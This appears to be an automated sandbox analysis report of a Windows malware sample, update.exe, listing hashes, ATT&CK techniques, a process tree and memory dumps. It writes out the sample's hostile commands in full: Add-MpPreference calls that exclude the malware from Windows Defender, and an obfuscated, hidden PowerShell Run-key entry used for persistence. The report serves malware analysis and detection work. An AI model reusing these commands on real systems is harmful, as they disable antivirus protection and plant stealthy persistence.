b2aa2c5c202e530bb1f8ed9f1c00b4e59be8445455f7eef1b8fb25a2f92408a6

Analysis

max time kernel
149s
max time network
116s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
14/08/2026, 12:26

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General

Target
update.exe
Size 11.7MB
Sample260814-pmn2jashmc
SHA256 b2aa2c5c202e530bb1f8ed9f1c00b4e59be8445455f7eef1b8fb25a2f92408a6
MD5 0788b45330bfeb8030b6becc356e92e5
SHA1 36a87ce5ab5c6ce88fe44dc4c6792ad017dcfbfb
SHA512 a6b98b0f5b7ad958fb4289399f7c7dd52f52842105d5a0cf586c815567f2e2d2315396e96d053c8eb85ff1bfa3cbfa72c06930e2be2c30871b754c91b21aa661
SSDEEP 196608:XsmQW3Ca5w9yrCo8z2UdzOeCwV0np/gNjkPHAj5txfR2QPpi4IQc5ll:dnya5za2QywVoujkPeZvxo1
TLSH
T143C633391902D589D8250AB7E810E3F97AB51E71D830C2279FE77DFB383236419E45BA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence upx

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
252	powershell.exe
2136	powershell.exe
2624	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
1340	AcxeUfuATnaO.exe
1976	AcxeUfuATnaO.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4046655672-1449839301-2197395821-1000\Software\Microsoft\Windows\CurrentVersion\Run\AcxeUfuATnaO = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$e50tev=[System.Environment]::TickCount;$o5xj3s=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$dn01aw=$env:COMPUTERNAME;$4oy5gq=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEFjeGVVZnVBVG5hTy5leGU=')));$dn01aw=$env:COMPUTERNAME;& $o5xj3s -FilePath $4oy5gq\""	update.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4100 set thread context of 5152	4100	update.exe	94
PID 1340 set thread context of 1976	1340	AcxeUfuATnaO.exe	99

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5152-34-0x0000000140000000-0x00000001440CA000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4100	update.exe
252	powershell.exe
252	powershell.exe
2624	powershell.exe
2624	powershell.exe
2624	powershell.exe
252	powershell.exe
4100	update.exe
4100	update.exe
1340	AcxeUfuATnaO.exe
2136	powershell.exe
2136	powershell.exe

Suspicious use of AdjustPrivilegeToken 47 IoCs

description	pid	Process
Token: SeDebugPrivilege	4100	update.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeIncreaseQuotaPrivilege	252	powershell.exe
Token: SeSecurityPrivilege	252	powershell.exe
Token: SeTakeOwnershipPrivilege	252	powershell.exe
Token: SeLoadDriverPrivilege	252	powershell.exe
Token: SeSystemProfilePrivilege	252	powershell.exe
Token: SeSystemtimePrivilege	252	powershell.exe
Token: SeProfSingleProcessPrivilege	252	powershell.exe
Token: SeIncBasePriorityPrivilege	252	powershell.exe
Token: SeCreatePagefilePrivilege	252	powershell.exe
Token: SeBackupPrivilege	252	powershell.exe
Token: SeRestorePrivilege	252	powershell.exe
Token: SeShutdownPrivilege	252	powershell.exe
Token: SeDebugPrivilege	252	powershell.exe
Token: SeSystemEnvironmentPrivilege	252	powershell.exe
Token: SeRemoteShutdownPrivilege	252	powershell.exe
Token: SeUndockPrivilege	252	powershell.exe
Token: SeManageVolumePrivilege	252	powershell.exe
Token: 33	252	powershell.exe
Token: 34	252	powershell.exe
Token: 35	252	powershell.exe
Token: 36	252	powershell.exe
Token: SeDebugPrivilege	1340	AcxeUfuATnaO.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeIncreaseQuotaPrivilege	2136	powershell.exe
Token: SeSecurityPrivilege	2136	powershell.exe
Token: SeTakeOwnershipPrivilege	2136	powershell.exe
Token: SeLoadDriverPrivilege	2136	powershell.exe
Token: SeSystemProfilePrivilege	2136	powershell.exe
Token: SeSystemtimePrivilege	2136	powershell.exe
Token: SeProfSingleProcessPrivilege	2136	powershell.exe
Token: SeIncBasePriorityPrivilege	2136	powershell.exe
Token: SeCreatePagefilePrivilege	2136	powershell.exe
Token: SeBackupPrivilege	2136	powershell.exe
Token: SeRestorePrivilege	2136	powershell.exe
Token: SeShutdownPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeSystemEnvironmentPrivilege	2136	powershell.exe
Token: SeRemoteShutdownPrivilege	2136	powershell.exe
Token: SeUndockPrivilege	2136	powershell.exe
Token: SeManageVolumePrivilege	2136	powershell.exe
Token: 33	2136	powershell.exe
Token: 34	2136	powershell.exe
Token: 35	2136	powershell.exe
Token: 36	2136	powershell.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4100 wrote to memory of 252	4100	update.exe	89
PID 2624 wrote to memory of 1340	2624	powershell.exe	93
PID 4100 wrote to memory of 5152	4100	update.exe	94
PID 4100 wrote to memory of 5152	4100	update.exe	94
PID 4100 wrote to memory of 5152	4100	update.exe	94
PID 4100 wrote to memory of 5152	4100	update.exe	94
PID 1340 wrote to memory of 2136	1340	AcxeUfuATnaO.exe	97
PID 1340 wrote to memory of 1976	1340	AcxeUfuATnaO.exe	99
PID 1340 wrote to memory of 1976	1340	AcxeUfuATnaO.exe	99
PID 1340 wrote to memory of 1976	1340	AcxeUfuATnaO.exe	99
PID 1340 wrote to memory of 1976	1340	AcxeUfuATnaO.exe	99

C:\Users\Admin\AppData\Local\Temp\update.exe
"C:\Users\Admin\AppData\Local\Temp\update.exe"
1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\update.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:252
- C:\Users\Admin\AppData\Local\Temp\update.exe
  C:\Users\Admin\AppData\Local\Temp\update.exe
  2⤵
  PID:5152

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$e50tev=[System.Environment]::TickCount;$o5xj3s=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$dn01aw=$env:COMPUTERNAME;$4oy5gq=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXEFjeGVVZnVBVG5hTy5leGU=')));$dn01aw=$env:COMPUTERNAME;& $o5xj3s -FilePath $4oy5gq"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624
- C:\Users\Admin\AppData\Roaming\AcxeUfuATnaO.exe
  "C:\Users\Admin\AppData\Roaming\AcxeUfuATnaO.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\AcxeUfuATnaO.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2136
- - C:\Users\Admin\AppData\Roaming\AcxeUfuATnaO.exe
    C:\Users\Admin\AppData\Roaming\AcxeUfuATnaO.exe
    3⤵
    - Executes dropped EXE
    PID:1976

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a9b2dce08e10e135a7f8e89ffbbd9f9488a4ddd213f3db1fd7c44ff2a71a9e44
MD5 15dd87adb88fc199e0450bae1a3a4bad
SHA1 3ca5f6ae5ed820369afea8d61e50e955e4f16dd1
SHA512 317ffa52690536609423f4724e2a0febd933038c98a92eb9fb71e9f3e7a1bd7306fd58a15390d5e82e6e6dbd87275ec0a455dedeede19cb27aa3ce8885bdad9c
TLSH
T105216833F3DD8614C89A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

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__PSScriptPolicyTest_ybbe0c3n.fgj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybbe0c3n.fgj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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AcxeUfuATnaO.exe

Path C:\Users\Admin\AppData\Roaming\AcxeUfuATnaO.exe
Size 11.7MB
SHA256 b2aa2c5c202e530bb1f8ed9f1c00b4e59be8445455f7eef1b8fb25a2f92408a6
MD5 0788b45330bfeb8030b6becc356e92e5
SHA1 36a87ce5ab5c6ce88fe44dc4c6792ad017dcfbfb
SHA512 a6b98b0f5b7ad958fb4289399f7c7dd52f52842105d5a0cf586c815567f2e2d2315396e96d053c8eb85ff1bfa3cbfa72c06930e2be2c30871b754c91b21aa661
SSDEEP 196608:XsmQW3Ca5w9yrCo8z2UdzOeCwV0np/gNjkPHAj5txfR2QPpi4IQc5ll:dnya5za2QywVoujkPeZvxo1
TLSH
T143C633391902D589D8250AB7E810E3F97AB51E71D830C2279FE77DFB383236419E45BA
MD5 SHA1 SHA512 SSDEEP TLSH

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memory/252-31-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-22-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-43-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-40-0x000001DFCC5E0000-0x000001DFCC5EA000-memory.dmp

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memory/252-39-0x000001DFCC520000-0x000001DFCC5D2000-memory.dmp

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memory/252-38-0x000001DFCC500000-0x000001DFCC51E000-memory.dmp

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memory/252-30-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-29-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-28-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-21-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-25-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-27-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-15-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-16-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-17-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-20-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/252-26-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-12-0x000001834E440000-0x000001834EF94000-memory.dmp

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memory/4100-7-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-3-0x000001832F860000-0x000001832F882000-memory.dmp

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memory/4100-14-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-11-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-10-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-9-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-0-0x00007FFE9C7FF000-0x00007FFE9C800000-memory.dmp

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memory/4100-4-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-5-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-35-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-8-0x0000018348CE0000-0x0000018348D00000-memory.dmp

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memory/4100-2-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-13-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-6-0x00007FFE9C670000-0x00007FFE9D014000-memory.dmp

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memory/4100-1-0x000001832D020000-0x000001832DBD4000-memory.dmp

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memory/5152-34-0x0000000140000000-0x00000001440CA000-memory.dmp

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